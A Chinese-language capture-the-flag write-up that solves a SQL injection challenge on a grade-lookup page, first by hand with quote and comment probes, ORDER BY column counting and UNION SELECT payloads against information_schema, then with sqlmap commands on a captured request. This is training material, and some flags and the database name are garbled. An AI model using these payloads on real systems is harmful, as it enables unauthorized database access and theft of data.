解法一:**手动注入**
输入1,2,3分别能查到1,2,3,号学生的成绩,那么应该可以使用sql注入
输入**1’返回异常,输入1’—+**返回异常,输入1’#或者1’—+返回正常,看来过滤了—+
观察。表貌似有四列(名字,Math,English,Chinese)
输入1’order by 4#返回正常;输入1’order by 5#**返回异常**
那么确实是4咧。
接下来开始爆库名、表名、字段名
尝试联合查询,记得把前面的查询数据置空,写成id=-1即可,显示正常,说明确确实实存在着四列数据
我们先手历练一边id=-1’ union select 1,2,3,4#
发现4个表都有回显
于是 就开始爆破吧:
首先先爆出库名:
通过id=-1’ union select 1,2,3,database()# 得到数据库名字skct_flag
然后爆表:
通过id=-1’union select 1,2,3,group_concat(table_name)from information_schema.tables where table_schema=database()# 得到表fl4g,sc
接下来爆字段:
通过id=-1’ union select 1,2,3,group_concat(column_name)from information_schema.columns where table_name=0x666c3467#(这里需要用到16进制绕过),得到flag字段
最后就是查询数据了:
通过使用id=-1’ union select 1,2,3,skctf_flag from fl4g#
得到flag
解法2:**用sqlmap**
输入1并进行抓包
用右键,点击copy to file保存文件**,在这里,我把文件保存在了**C:\Users\DELL\Documents\333.txt
保存好后,
用sqlmap进行爆破,爆破库的代码为**:sqlmap.py -r “C:\Users\DELL\Documents\333.txt” -p id ––current-db **
其中:
-r 加载一个文件;
-p 指定一个参数;
––current-db 获取当前数据库名称
这是第一阶段,输入y;爆出
后发现数据库为 **skctf_flag **
接下来就是爆表(刚刚爆库);
爆破表的代码为:**sqlmap.py -r “C:\Users\DELL\Documents\333.txt” -p id -D skctf_flag - —tables **
其中:-D 指定数据库名称
发现有两个表,里面应该是fl4g有flag
再者就是爆破他的字段了:
爆破字段的代码为:**sqlmap.py -r “C:\Users\DELL\Documents\333.txt” -p id -D skctf_flag -T fl4g -C skctf_flag –**–dump
其中:**––dump 列出字段数据**
爆出了flag